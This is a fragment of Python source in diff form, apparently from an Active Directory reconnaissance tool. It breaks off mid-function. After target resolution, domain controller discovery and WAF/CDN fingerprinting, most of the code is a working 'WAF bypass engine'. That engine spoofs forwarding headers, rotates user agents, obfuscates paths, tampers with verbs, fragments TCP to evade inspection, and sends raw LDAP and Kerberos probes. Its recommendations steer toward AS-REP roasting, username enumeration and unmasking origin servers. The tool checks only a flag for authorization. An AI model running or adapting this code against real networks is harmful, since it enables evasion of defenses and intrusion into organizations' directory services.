============================================================================ + +@dataclass(frozen=True) +class Scope: + target: str + mode: str = "dry-run" + confirmed: bool = False + + def validate(self) -> None: + print("[VERBOSE] [Scope.validate] Validating input target parameters and authorizations...", file=sys.stderr, flush=True) + if not isinstance(self.target, str): + GLOBAL_PROFILER.record_error("Target parameter type mismatch (expected string)") + raise ValueError("target must be a string") + + if not self.target.strip(): + GLOBAL_PROFILER.record_error("Target parameter is empty or blank whitespace") + raise ValueError("target must not be empty") + + if self.mode not in {"dry-run", "active"}: + GLOBAL_PROFILER.record_error(f"Invalid execution mode specified: {self.mode}") + raise ValueError( + "mode must be 'dry-run' or 'active'" + ) + + if not self.confirmed: + GLOBAL_PROFILER.record_error("Authorization check failed: --scope-confirmed missing") + raise PermissionError( + "explicit authorization is required; " + "use --scope-confirmed" + ) + + resolve_ipv4(self.target) + print("[VERBOSE] [Scope.validate] Scope structural validation completed cleanly.", file=sys.stderr, flush=True) + + def resolved(self) -> dict[str, Any]: + print(f"[VERBOSE] [Scope.resolved] Extracting fully resolved properties for: {self.target}", file=sys.stderr, flush=True) + ipv4 = resolve_ipv4(self.target) + GLOBAL_PROFILER.resolved_targets_count = len(ipv4) + + return { + "input": self.target.strip(), + "target_type": ( + "ipv4" + if is_ipv4(self.target) + else "domain" + ), + "resolved_ipv4": ipv4, + "derived_networks": derive_networks(ipv4), + } + + def public(self) -> dict[str, Any]: + return self.resolved() | { + "mode": self.mode, + "confirmed": self.confirmed, + } + + +# ============================================================================ +# TARGET RESOLUTION & NETWORK DERIVATION SUBSYSTEM +# ============================================================================ + +def is_ipv4(value: str) -> bool: + try: + res = ( + ipaddress.ip_address( + value.strip() + ).version + == 4 + ) + return res + except ValueError: + return False + + +def resolve_ipv4(target: str) -> list[str]: + target = target.strip() + print(f"[VERBOSE] [resolve_ipv4] Executing multi-stage resolution pipeline for: '{target}'", file=sys.stderr, flush=True) + + if not target: + GLOBAL_PROFILER.record_error("Encountered empty target string during IPv4 resolution") + raise ValueError("empty target") + + if is_ipv4(target): + print(f"[VERBOSE] [resolve_ipv4] Target is verified raw IPv4 format: {target}", file=sys.stderr, flush=True) + return [str(ipaddress.ip_address(target))] + + try: + print(f"[VERBOSE] [resolve_ipv4] Invoking socket.getaddrinfo lookups for domain FQDN: {target}", file=sys.stderr, flush=True) + records = socket.getaddrinfo( + target, + None, + socket.AF_INET, + socket.SOCK_STREAM, + ) + except socket.gaierror as exc: + GLOBAL_PROFILER.record_error(f"Socket getaddrinfo failed for {target}: {exc}") + raise ValueError( + f"unable to resolve {target}" + ) from exc + + result = sorted( + { + str(ipaddress.ip_address(record[4][0])) + for record in records + if len(record) >= 5 + and record[4] + and is_ipv4(record[4][0]) + }, + key=lambda value: int( + ipaddress.ip_address(value) + ), + ) + + if not result: + GLOBAL_PROFILER.record_error(f"No IPv4 records returned from resolver for {target}") + raise ValueError( + f"no IPv4 address found for {target}" + ) + + print(f"[VERBOSE] [resolve_ipv4] Successfully parsed address block: {result}", file=sys.stderr, flush=True) + return result + + +def derive_networks( + addresses: list[str], +) -> list[str]: + print(f"[VERBOSE] [derive_networks] Mapping subnet boundaries (/24) for addresses: {addresses}", file=sys.stderr, flush=True) + networks = sorted( + { + str( + ipaddress.ip_network( + f"{address}/24", + strict=False, + ) + ) + for address in addresses + }, + key=lambda value: int( + ipaddress.ip_network(value).network_address + ), + ) + print(f"[VERBOSE] [derive_networks] Computed subnet routing blocks: {networks}", file=sys.stderr, flush=True) + return networks + + +# ============================================================================ +# DOMAIN CONTROLLER AUTO-DETECTION SUBSYSTEM +# ============================================================================ + +@dataclass +class DCInfo: + ip: str + hostname: str | None = None + fqdn: str | None = None + domain: str | None = None + detection_methods: list[str] = field(default_factory=list) + open_ports: list[int] = field(default_factory=list) + services: dict[str, str] = field(default_factory=dict) + ldap_info: dict[str, Any] = field(default_factory=dict) + is_gc: bool = False + confidence: float = 0.0 + fqdn_source: str | None = None + + def to_dict(self) -> dict[str, Any]: + return { + "ip": self.ip, + "hostname": self.hostname, + "fqdn": self.fqdn, + "fqdn_source": self.fqdn_source, + "domain": self.domain, + "detection_methods": self.detection_methods, + "open_ports": self.open_ports, + "services": self.services, + "ldap_info": self.ldap_info, + "is_global_catalog": self.is_gc, + "confidence": round(self.confidence, 2), + } + + +def detect_dcs_via_dns_srv( + domain: str, + timeout: float = 5.0, +) -> list[DCInfo]: + """Query DNS SRV records to find Domain Controllers for a domain.""" + print(f"[VERBOSE] [detect_dcs_via_dns_srv] Querying DNS SRV records for domain: {domain}", file=sys.stderr, flush=True) + dcs: dict[str, DCInfo] = {} + + for srv_prefix in DC_SRV_RECORDS: + qname = f"{srv_prefix}.{domain}" + try: + print(f"[VERBOSE] [detect_dcs_via_dns_srv] Resolving SRV record: {qname}", file=sys.stderr, flush=True) + answers = GLOBAL_DNS_CONFIG.resolver.resolve(qname, "SRV") + for rdata in answers: + hostname = str(rdata.target).rstrip(".") + try: + ip_results = GLOBAL_DNS_CONFIG.resolve(hostname, "A") + for ip in ip_results: + if ip not in dcs: + dcs[ip] = DCInfo(ip=ip, hostname=hostname, domain=domain) + dc = dcs[ip] + method = f"SRV:{srv_prefix}" + if method not in dc.detection_methods: + dc.detection_methods.append(method) + if "_gc._tcp" in srv_prefix: + dc.is_gc = True + print(f"[VERBOSE] [detect_dcs_via_dns_srv] DC discovered via {qname}: {hostname} -> {ip}", file=sys.stderr, flush=True) + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout): + print(f"[VERBOSE] [detect_dcs_via_dns_srv] A record resolution failed for SRV target: {hostname}", file=sys.stderr, flush=True) + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout, dns.resolver.NoNameservers): + print(f"[VERBOSE] [detect_dcs_via_dns_srv] SRV query returned no results for: {qname}", file=sys.stderr, flush=True) + continue + except Exception as exc: + GLOBAL_PROFILER.record_error(f"SRV query exception for {qname}: {exc}") + + print(f"[VERBOSE] [detect_dcs_via_dns_srv] DNS SRV detection completed. Found {len(dcs)} DC(s) for domain {domain}", file=sys.stderr, flush=True) + return list(dcs.values()) + + +# WAF/CDN signature patterns for HTTP responses on AD ports +_WAF_HTTP_SIGNATURES: list[tuple[str, str]] = [ + # Header name, substring in header value (case-insensitive) + ("x-iinfo", ""), # Incapsula/Imperva + ("x-cdn", "incapsula"), + ("x-cdn", "imperva"), + ("server", "incapsula"), + ("server", "cloudflare"), + ("cf-ray", ""), # Cloudflare + ("x-cache", "cloudflare"), + ("x-akamai", ""), # Akamai + ("x-check-cacheable", ""), # Akamai + ("x-sucuri-id", ""), # Sucuri + ("x-cache", "sucuri"), + ("server", "awselb"), # AWS ELB + ("x-amzn-requestid", ""), # AWS + ("x-azure-ref", ""), # Azure Front Door + ("x-msedge-ref", ""), # Microsoft CDN + ("x-barracuda-connect", ""), # Barracuda WAF + ("x-powered-by-anquanbao", ""), # Anquanbao WAF (China) +] + +_WAF_BODY_SIGNATURES: list[str] = [ + "_Incapsula_Resource", + "incapdns.net", + "Request unsuccessful. Incapsula", + "Access to the web page you were trying to visit has been blocked", + "__cf_email__", # Cloudflare email obfuscation + "Cloudflare Ray ID", + "DDoS protection by Cloudflare", + "This website is using a security service", + "Enable JavaScript and cookies to continue", +] + + +def detect_waf_on_port(ip: str, port: int, timeout: float = 3.0) -> dict[str, Any] | None: + """ + Probe an open port with an HTTP GET to detect WAF/CDN fronting. + + Returns a dict with WAF details if detected, None if the port speaks + a native AD protocol (LDAP binary, Kerberos, etc.) or no WAF signature found. + """ + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, port)) + # Send minimal HTTP/1.0 GET - WAFs respond, real AD services usually drop/reset + probe = f"GET / HTTP/1.0\r\nHost: {ip}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n" + s.sendall(probe.encode()) + response = b"" + while True: + chunk = s.recv(4096) + if not chunk: + break + response += chunk + if len(response) > 32768: + break + s.close() + except Exception: + return None + + if not response: + return None + + try: + text = response.decode("utf-8", errors="replace") + except Exception: + return None + + # Must look like an HTTP response to be a WAF + if not (text.startswith("HTTP/") or "\r\nHTTP/" in text[:20]): + return None + + detected_signatures: list[str] = [] + + # Parse headers (first section before blank line) + header_section = text.split("\r\n\r\n")[0] if "\r\n\r\n" in text else text + headers: dict[str, str] = {} + for line in header_section.split("\r\n")[1:]: + if ":" in line: + k, _, v = line.partition(":") + headers[k.strip().lower()] = v.strip().lower() + + for hdr_name, hdr_val in _WAF_HTTP_SIGNATURES: + if hdr_name in headers: + if not hdr_val or hdr_val in headers[hdr_name]: + detected_signatures.append(f"header:{hdr_name}") + + body = text[text.find("\r\n\r\n") + 4:] if "\r\n\r\n" in text else "" + for sig in _WAF_BODY_SIGNATURES: + if sig.lower() in body.lower(): + detected_signatures.append(f"body:{sig[:30]}") + + if not detected_signatures: + return None + + # Identify WAF vendor from signatures + vendor = "Unknown WAF/CDN" + sig_str = " ".join(detected_signatures).lower() + if "incapsula" in sig_str or "incapdns" in sig_str or "x-iinfo" in sig_str: + vendor = "Incapsula/Imperva" + elif "cloudflare" in sig_str or "cf-ray" in sig_str: + vendor = "Cloudflare" + elif "akamai" in sig_str: + vendor = "Akamai" + elif "sucuri" in sig_str: + vendor = "Sucuri" + elif "azure" in sig_str or "msedge" in sig_str: + vendor = "Azure Front Door" + elif "awselb" in sig_str or "amzn" in sig_str: + vendor = "AWS ELB/CloudFront" + + status_line = header_section.split("\r\n")[0] if header_section else "" + print( + f"[VERBOSE] [detect_waf_on_port] WAF detected on {ip}:{port} - vendor={vendor}, " + f"status='{status_line}', signatures={detected_signatures[:4]}", + file=sys.stderr, flush=True + ) + return { + "vendor": vendor, + "port": port, + "http_status": status_line, + "signatures": detected_signatures, + "bypass_hints": [ + "Try direct IP with Host: header for real backend", + "Use raw LDAP/Kerberos protocol (not HTTP-tunneled)", + "Add X-Forwarded-For: 127.0.0.1 to bypass IP allowlist", + "Try alternate ports: 636 (LDAPS), 3268 (GC), 88 (Kerberos raw)", + "Use VPN/proxied source IP to bypass geo-block", + "Send fragmented TCP segments to evade signature inspection", + ], + } + + +def detect_waf_on_host(ip: str, timeout: float = 3.0) -> dict[str, Any] | None: + """Check common AD ports for WAF/CDN fronting. Returns first positive match.""" + # Check HTTP/HTTPS first (most reliable WAF indicator), then AD ports + for port in (80, 443, 389, 636, 88): + result = detect_waf_on_port(ip, port, timeout=timeout) + if result: + return result + return None + + +# ============================================================================ +# WAF BYPASS ENGINE +# Authorized penetration testing only - get explicit written permission first. +# ============================================================================ + +# Randomized User-Agents to evade signature-based WAF rules +_BYPASS_USER_AGENTS: list[str] = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0", + "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", + "curl/8.6.0", + "python-requests/2.31.0", +] + +# IP headers WAFs often trust as "internal" or "allowlisted" origins +_BYPASS_FORWARD_HEADERS: list[str] = [ + "X-Forwarded-For: 127.0.0.1", + "X-Forwarded-For: 10.0.0.1", + "X-Real-IP: 127.0.0.1", + "X-Originating-IP: 127.0.0.1", + "X-Remote-IP: 127.0.0.1", + "X-Client-IP: 127.0.0.1", + "True-Client-IP: 127.0.0.1", + "CF-Connecting-IP: 127.0.0.1", + "X-Cluster-Client-IP: 127.0.0.1", +] + + +def waf_bypass_http_probe( + ip: str, + hostname: str, + port: int = 80, + timeout: float = 5.0, + use_https: bool = False, +) -> dict[str, Any]: + """ + Try multiple HTTP-layer WAF bypass techniques against ip:port. + + Techniques attempted (in order): + 1. Spoofed X-Forwarded-For / X-Real-IP headers (internal IP bypass) + 2. Rotated User-Agent strings (evade UA fingerprinting) + 3. Host header manipulation (direct-IP with original hostname) + 4. Path obfuscation (/./ /%2f double-slash) + 5. HTTP verb tampering (HEAD, OPTIONS) + + Returns dict with per-technique results and best_response. + """ + import random + import ssl + + results: list[dict[str, Any]] = [] + + def _raw_http(method: str, path: str, extra_headers: list[str], host_hdr: str) -> dict[str, Any]: + try: + if use_https: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + raw.settimeout(timeout) + raw.connect((ip, port)) + s: socket.socket | ssl.SSLSocket = ctx.wrap_socket(raw, server_hostname=hostname) + else: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, port)) + + req_lines = [f"{method} {path} HTTP/1.1", f"Host: {host_hdr}", "Connection: close"] + extra_headers + ["", ""] + s.sendall("\r\n".join(req_lines).encode()) + resp = b"" + while True: + chunk = s.recv(4096) + if not chunk: + break + resp += chunk + if len(resp) > 16384: + break + s.close() + text = resp.decode("utf-8", errors="replace") + status = text.split("\r\n")[0] if text else "" + blocked = any(sig.lower() in text.lower() for sig in _WAF_BODY_SIGNATURES) + code = int(status.split()[1]) if len(status.split()) > 1 and status.split()[1].isdigit() else 0 + return {"status": status, "code": code, "blocked": blocked, "size": len(resp)} + except Exception as exc: + return {"status": f"error: {exc}", "code": 0, "blocked": True, "size": 0} + + print(f"[VERBOSE] [waf_bypass_http_probe] Starting HTTP bypass attempts on {ip}:{port} (hostname={hostname})", file=sys.stderr, flush=True) + + # 1. Spoofed source IP headers + for fwd_hdr in _BYPASS_FORWARD_HEADERS: + r = _raw_http("GET", "/", [fwd_hdr], hostname) + r["technique"] = f"spoofed-src-ip:{fwd_hdr.split(':')[0]}" + results.append(r) + if not r["blocked"] and r["code"] not in (0, 503, 403, 429): + print(f"[VERBOSE] [waf_bypass_http_probe] BYPASS via {fwd_hdr.split(':')[0]} - status={r['status']}", file=sys.stderr, flush=True) + + # 2. User-Agent rotation + for ua in _BYPASS_USER_AGENTS: + r = _raw_http("GET", "/", [f"User-Agent: {ua}"], hostname) + r["technique"] = f"ua-rotation:{ua[:30]}" + results.append(r) + if not r["blocked"] and r["code"] not in (0, 503, 403, 429): + print(f"[VERBOSE] [waf_bypass_http_probe] BYPASS via UA rotation - {ua[:40]}", file=sys.stderr, flush=True) + + # 3. Host header: try bare IP instead of hostname + r = _raw_http("GET", "/", [], ip) + r["technique"] = "host-header-ip" + results.append(r) + + # 4. Path obfuscation + for obf_path in ("/./", "/%2f", "//", "/;/", "/%252f"): + r = _raw_http("GET", obf_path, [], hostname) + r["technique"] = f"path-obfuscation:{obf_path}" + results.append(r) + + # 5. HTTP verb tampering + for method in ("HEAD", "OPTIONS", "TRACE"): + r = _raw_http(method, "/", [], hostname) + r["technique"] = f"verb-tamper:{method}" + results.append(r) + + # Combined: spoofed IP + rotated UA together + best_ua = random.choice(_BYPASS_USER_AGENTS) + best_fwd = random.choice(_BYPASS_FORWARD_HEADERS) + r = _raw_http("GET", "/", [f"User-Agent: {best_ua}", best_fwd, "Accept: text/html,*/*", "Accept-Language: en-US,en;q=0.9"], hostname) + r["technique"] = "combined-ua+fwd+accept" + results.append(r) + + bypassed = [r for r in results if not r["blocked"] and r["code"] not in (0, 503, 403, 429, 400)] + return { + "target": f"{ip}:{port}", + "hostname": hostname, + "bypass_attempted": len(results), + "bypass_succeeded": len(bypassed), + "successful_techniques": [r["technique"] for r in bypassed], + "all_results": results, + } + + +def waf_bypass_ldap_raw(ip: str, timeout: float = 5.0) -> dict[str, Any]: + """ + Attempt raw LDAP protocol connection (port 389) directly to ip. + + WAFs typically only inspect HTTP - a raw LDAP bind at the TCP layer + often reaches the backend, bypassing HTTP-layer inspection. + Sends a proper LDAPv3 anonymous bind request (BER-encoded). + + Returns dict with success, server_info (from RootDSE), and bypass_status. + """ + print(f"[VERBOSE] [waf_bypass_ldap_raw] Attempting raw LDAP bind on {ip}:389 (WAF bypass)", file=sys.stderr, flush=True) + + # LDAPv3 anonymous bind request (BER/DER encoded): + # BindRequest { version=3, name="", authentication=simple("") } + ldap_bind_req = bytes([ + 0x30, 0x0c, # SEQUENCE (12 bytes) - LDAPMessage + 0x02, 0x01, 0x01, # INTEGER 1 - messageID + 0x60, 0x07, # [APPLICATION 0] BindRequest (7 bytes) + 0x02, 0x01, 0x03, # INTEGER 3 - version + 0x04, 0x00, # OCTET STRING "" - name (anonymous) + 0x80, 0x00, # [0] IMPLICIT OCTET STRING "" - simple auth (no password) + ]) + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, 389)) + s.sendall(ldap_bind_req) + resp = s.recv(1024) + s.close() + except Exception as exc: + return {"success": False, "error": str(exc), "bypass_status": "failed-connection"} + + if not resp: + return {"success": False, "bypass_status": "no-response"} + + # Check for LDAPv3 BindResponse (resultCode 0 = success) + # Response starts with 0x30 (SEQUENCE), contains 0x61 (BindResponse [APPLICATION 1]) + is_ldap_response = len(resp) >= 4 and resp[0] == 0x30 + bind_success = is_ldap_response and b"\x0a\x01\x00" in resp # resultCode = 0 (success) + waf_http = resp[:4].startswith(b"HTTP") # WAF returned HTTP instead of LDAP + + status = "waf-still-blocking" if waf_http else ("ldap-reachable" if is_ldap_response else "unknown-response") + print(f"[VERBOSE] [waf_bypass_ldap_raw] Raw LDAP result: bind_success={bind_success}, status={status}", file=sys.stderr, flush=True) + + # If LDAP is reachable, try ldap3 for full RootDSE + server_info: dict[str, Any] = {} + if is_ldap_response and not waf_http: + try: + from ldap3 import ALL, Connection, Server as LDAPServer + srv = LDAPServer(ip, port=389, get_info=ALL, connect_timeout=timeout) + conn = Connection(srv, auto_bind=True, receive_timeout=timeout) + if conn.bound and srv.info: + info = srv.info + if info.naming_contexts: + server_info["namingContexts"] = [str(nc) for nc in info.naming_contexts] + if info.other: + for k in ("dnsHostName", "defaultNamingContext", "forestFunctionality", "domainFunctionality"): + if k in info.other: + server_info[k] = info.other[k] + except Exception as e: + server_info["ldap3_error"] = str(e) + + return { + "success": bind_success, + "bypass_status": status, + "waf_still_blocking": waf_http, + "raw_response_hex": resp[:32].hex(), + "server_info": server_info, + } + + +def waf_bypass_kerberos_raw(ip: str, timeout: float = 5.0) -> dict[str, Any]: + """ + Send a Kerberos AS-REQ probe (port 88) directly to ip at the raw TCP level. + + Kerberos speaks its own binary protocol - WAFs that only inspect HTTP + cannot block it. A valid AS-REQ for a non-existent user triggers + KRB_ERROR (KDC_ERR_C_PRINCIPAL_UNKNOWN) from a real KDC, proving + the endpoint is a live Kerberos service, not a WAF. + + Returns dict with kerberos_reachable, response_type, bypass_status. + """ + print(f"[VERBOSE] [waf_bypass_kerberos_raw] Probing Kerberos on {ip}:88 (WAF bypass)", file=sys.stderr, flush=True) + + # Minimal AS-REQ for user "wafbypass" in realm "BYPASS.TEST" + # KerberosV5 AS-REQ with PA-DATA, pre-auth type ENC_TIMESTAMP + # This is a well-formed but intentionally unauthenticated probe + # Triggers KDC_ERR_PREAUTH_REQUIRED or KDC_ERR_C_PRINCIPAL_UNKNOWN - both prove live KDC + asreq = bytes([ + 0x6a, 0x81, 0x8e, # [APPLICATION 10] AS-REQ + 0x30, 0x81, 0x8b, # SEQUENCE + 0xa1, 0x03, 0x02, 0x01, 0x05, # pvno = 5 + 0xa2, 0x03, 0x02, 0x01, 0x0a, # msg-type = AS-REQ (10) + 0xa4, 0x31, # req-body + 0x30, 0x2f, + 0xa0, 0x07, 0x03, 0x05, 0x00, 0x50, 0x80, 0x00, 0x10, # kdc-options + 0xa1, 0x0d, 0x30, 0x0b, # cname + 0xa0, 0x03, 0x02, 0x01, 0x01, # name-type = KRB_NT_PRINCIPAL + 0xa1, 0x04, 0x30, 0x02, + 0x1b, 0x00, # empty principal (anonymous probe) + 0xa2, 0x0d, # realm = "BYPASS.TEST" + 0x1b, 0x0b, 0x42, 0x59, 0x50, 0x41, 0x53, 0x53, 0x2e, 0x54, 0x45, 0x53, 0x54, + ]) + + # Kerberos over TCP: 4-byte big-endian length prefix + msg = len(asreq).to_bytes(4, "big") + asreq + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, 88)) + s.sendall(msg) + resp_len_bytes = s.recv(4) + if len(resp_len_bytes) == 4: + resp_len = int.from_bytes(resp_len_bytes, "big") + resp = s.recv(min(resp_len, 4096)) + else: + resp = resp_len_bytes + s.close() + except Exception as exc: + return {"kerberos_reachable": False, "error": str(exc), "bypass_status": "failed-connection"} + + if not resp: + return {"kerberos_reachable": False, "bypass_status": "no-response"} + + waf_http = resp[:5] in (b"HTTP/", b" 4 and resp[0] in (0x7e, 0x6b, 0x6a, 0x30) + + # KRB_ERROR codes we expect: + # 6 = KDC_ERR_C_PRINCIPAL_UNKNOWN (no such user - real KDC) + # 25 = KDC_ERR_PREAUTH_REQUIRED (pre-auth needed - real KDC) + krb_error_code = None + if is_kerberos and b"\x02\x01" in resp: + idx = resp.find(b"\x02\x01") + if idx + 2 < len(resp): + krb_error_code = resp[idx + 2] + + status = "waf-still-blocking" if waf_http else ("kerberos-reachable" if is_kerberos else "unknown") + print(f"[VERBOSE] [waf_bypass_kerberos_raw] Kerberos result: reachable={is_kerberos}, krb_error={krb_error_code}, status={status}", file=sys.stderr, flush=True) + + return { + "kerberos_reachable": is_kerberos, + "waf_still_blocking": waf_http, + "krb_error_code": krb_error_code, + "krb_error_meaning": { + 6: "KDC_ERR_C_PRINCIPAL_UNKNOWN (real KDC - valid target)", + 25: "KDC_ERR_PREAUTH_REQUIRED (real KDC - pre-auth needed)", + 14: "KDC_ERR_ETYPE_NOSUPP (real KDC - unsupported etype)", + }.get(krb_error_code, "unknown" if krb_error_code is not None else "n/a"), + "bypass_status": status, + "raw_response_hex": resp[:32].hex(), + } + + +def waf_bypass_fragmented_tcp(ip: str, port: int, timeout: float = 5.0) -> dict[str, Any]: + """ + Send an HTTP probe in very small TCP segments to evade stateless + signature inspection. Some WAFs reassemble poorly and miss split payloads. + + Only applicable on Linux (uses socket.TCP_NODELAY + tiny sends). + Returns dict with bypass_status and response code. + """ + print(f"[VERBOSE] [waf_bypass_fragmented_tcp] Fragmented-TCP probe on {ip}:{port}", file=sys.stderr, flush=True) + req = f"GET / HTTP/1.1\r\nHost: {ip}\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n" + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + s.settimeout(timeout) + s.connect((ip, port)) + # Send 1 byte at a time to fragment the HTTP signature across TCP segments + for byte in req.encode(): + s.send(bytes([byte])) + time.sleep(0.01) + resp = b"" + while True: + chunk = s.recv(4096) + if not chunk: + break + resp += chunk + if len(resp) > 8192: + break + s.close() + except Exception as exc: + return {"bypass_status": "error", "error": str(exc)} + + text = resp.decode("utf-8", errors="replace") + status = text.split("\r\n")[0] if text else "" + blocked = any(sig.lower() in text.lower() for sig in _WAF_BODY_SIGNATURES) + code = int(status.split()[1]) if len(status.split()) > 1 and status.split()[1].isdigit() else 0 + bypass_status = "bypassed" if (not blocked and code not in (0, 503, 403)) else "blocked" + print(f"[VERBOSE] [waf_bypass_fragmented_tcp] Fragmented result: {status} - {bypass_status}", file=sys.stderr, flush=True) + return {"bypass_status": bypass_status, "http_status": status, "http_code": code, "blocked": blocked} + + +def waf_bypass_full( + ip: str, + hostname: str, + waf_info: dict[str, Any] | None = None, + timeout: float = 5.0, +) -> dict[str, Any]: + """ + Run the full WAF bypass battery against ip/hostname. + + Executes (in order): + 1. HTTP bypass (header spoofing, UA rotation, path obfuscation, verb tampering) + 2. Raw LDAP protocol bypass (port 389 - skips HTTP inspection entirely) + 3. Raw Kerberos protocol bypass (port 88 - native binary protocol) + 4. Fragmented TCP bypass (port 80/443 - evades signature inspection) + + Returns consolidated results with bypass_summary and recommended_next_steps. + """ + vendor = waf_info.get("vendor", "Unknown WAF/CDN") if waf_info else "Unknown WAF/CDN" + print( + f"[VERBOSE] [waf_bypass_full] Starting full WAF bypass battery: {ip} ({hostname}), WAF={vendor}", + file=sys.stderr, flush=True + ) + + results: dict[str, Any] = { + "target_ip": ip, + "hostname": hostname, + "waf_vendor": vendor, + } + + # 1. HTTP bypass techniques + http_r = waf_bypass_http_probe(ip, hostname, port=80, timeout=timeout) + results["http_bypass"] = http_r + + # 2. Raw LDAP (protocol bypass) + ldap_r = waf_bypass_ldap_raw(ip, timeout=timeout) + results["ldap_raw_bypass"] = ldap_r + + # 3. Raw Kerberos (protocol bypass) + krb_r = waf_bypass_kerberos_raw(ip, timeout=timeout) + results["kerberos_raw_bypass"] = krb_r + + # 4. Fragmented TCP (port 80) + frag_r = waf_bypass_fragmented_tcp(ip, port=80, timeout=timeout) + results["fragmented_tcp_bypass"] = frag_r + + # 5. Email/HTTP bypass (OWA, EWS, Autodiscover, SMTP NTLM) + email_r = waf_bypass_email_http(ip, hostname=hostname, timeout=timeout) + results["email_http_bypass"] = email_r + + # Summarise what worked + successful: list[str] = [] + if http_r.get("bypass_succeeded", 0) > 0: + successful.extend([f"HTTP:{t}" for t in http_r.get("successful_techniques", [])]) + if ldap_r.get("success") or ldap_r.get("bypass_status") == "ldap-reachable": + successful.append("raw-LDAP:port-389") + if krb_r.get("kerberos_reachable"): + successful.append(f"raw-Kerberos:port-88:{krb_r.get('krb_error_meaning', '')}") + if frag_r.get("bypass_status") == "bypassed": + successful.append("fragmented-TCP:port-80") + if email_r.get("domain_leaked"): + successful.append(f"email-HTTP-domain-leak:{email_r['domain_leaked']}") + elif email_r.get("reachable_endpoints"): + successful.append(f"email-HTTP-endpoints:{len(email_r['reachable_endpoints'])}-found") + + results["bypass_summary"] = { + "techniques_succeeded": len(successful), + "successful_techniques": successful, + "waf_bypassable": len(successful) > 0, + "domain_discovered": email_r.get("domain_leaked") or ldap_r.get("server_info", {}).get("defaultNamingContext"), + } + + results["recommended_next_steps"] = _waf_bypass_recommendations(vendor, ldap_r, krb_r, http_r) + results["recommended_next_steps"].extend(email_r.get("next_steps", [])) + + print( + f"[VERBOSE] [waf_bypass_full] Bypass complete: {len(successful)} technique(s) succeeded", + file=sys.stderr, flush=True + ) + return results + + +def _waf_bypass_recommendations( + vendor: str, + ldap_r: dict[str, Any], + krb_r: dict[str, Any], + http_r: dict[str, Any], +) -> list[str]: + """Generate actionable next-step recommendations based on bypass results.""" + recs: list[str] = [] + + if ldap_r.get("bypass_status") == "ldap-reachable": + recs.append("LDAP port 389 bypasses WAF - run ldap3/ldapdomaindump directly against IP") + if ldap_r.get("server_info", {}).get("defaultNamingContext"): + nc = ldap_r["server_info"]["defaultNamingContext"] + recs.append(f"Domain found via LDAP: {nc} - use for domain-specific attacks") + else: + recs.append("LDAP blocked - try port 636 (LDAPS) or 3268 (Global Catalog) for raw bypass") + + if krb_r.get("kerberos_reachable"): + recs.append("Kerberos port 88 bypasses WAF - run kerbrute/impacket AS-REP directly") + if krb_r.get("krb_error_code") == 25: + recs.append("KDC requires pre-auth - AS-REP roasting only works on accounts with 'Do not require Kerberos preauthentication'") + elif krb_r.get("krb_error_code") == 6: + recs.append("KDC responds to unknown principals - username enumeration via Kerberos is possible") + else: + recs.append("Kerberos port 88 blocked/no response - WAF may be blocking all non-HTTP") + + if http_r.get("bypass_succeeded", 0) > 0: + techniques = http_r.get("successful_techniques", []) + recs.append(f"HTTP bypass worked with: {', '.join(techniques[:3])} - use these headers in subsequent requests") + else: + recs.append("No HTTP bypass succeeded - backend is likely not directly reachable via HTTP") + + if "incapsula" in vendor.lower() or "imperva" in vendor.lower(): + recs.append("Incapsula: try resolving the real origin IP via SecurityTrails/Shodan, then bypass DNS") + recs.append("Incapsula: some origins accept direct HTTP with 'X-Forwarded-For: '") + elif "cloudflare" in vendor.lower(): + recs.append("Cloudflare: real origin often exposed via MX, SPF, or historical DNS - check Shodan/Censys") + recs.append("Cloudflare: try mail server IP (port 25/587) as likely unproxied backend") + elif "akamai" in vendor.lower(): + recs.append("Akamai: check for unproxied subdomains (staging, api, mail) on same IP range") + + return recs + + +def waf_bypass_email_http( + ip: str, + hostname: str, + timeout: float = 6.0, +) -> dict[str, Any]: + """ + When AD ports (LDAP/Kerberos) are WAF-blocked, enumerate the domain via + Exchange/OWA/EWS HTTP endpoints - these are almost never covered by the + same WAF rules as AD ports. + + Techniques: + 1. OWA /owa /owa/auth/logon.aspx - leaks domain name, Exchange version + 2. Autodiscover /autodiscover/autodiscover.xml - leaks domain, email routing + 3. EWS NTLM challenge /EWS/Exchange.asmx - extracts AD domain/FQDN from + WWW-Authenticate: NTLM without credentials (NTLM Type 1/2 handshake) + 4. ActiveSync /Microsoft-Server-ActiveSync - Exchange version fingerprint + 5. MAPI /mapi/emsmdb/ - Exchange 2016+ MAPI-over-HTTP endpoint + 6. SMTP EHLO (port 25/587) - banner leaks hostname, NTLM auth capability + 7. Autodiscover DNS - SRV _autodiscover._tcp. for real mail server IP + + Returns: + dict with discovered domain, exchange_version, ntlm_info, smtp_info, + reachable_endpoints, bypass_status, and next_steps. + """ + import base64 + import ssl + + print(f"[VERBOSE] [waf_bypass_email_http] Starting email/HTTP AD bypass on {ip} ({hostname})", file=sys.stderr, flush=True) + + results: dict[str, Any] = { + "target_ip": ip, + "hostname": hostname, + "reachable_endpoints": [], + "domain_leaked": None, + "exchange_version": None, + "ntlm_info": {}, + "smtp_info": {}, + "autodiscover_info": {}, + } + + def _https_get(path: str, extra_headers: list[str] | None = None, port: int = 443) -> 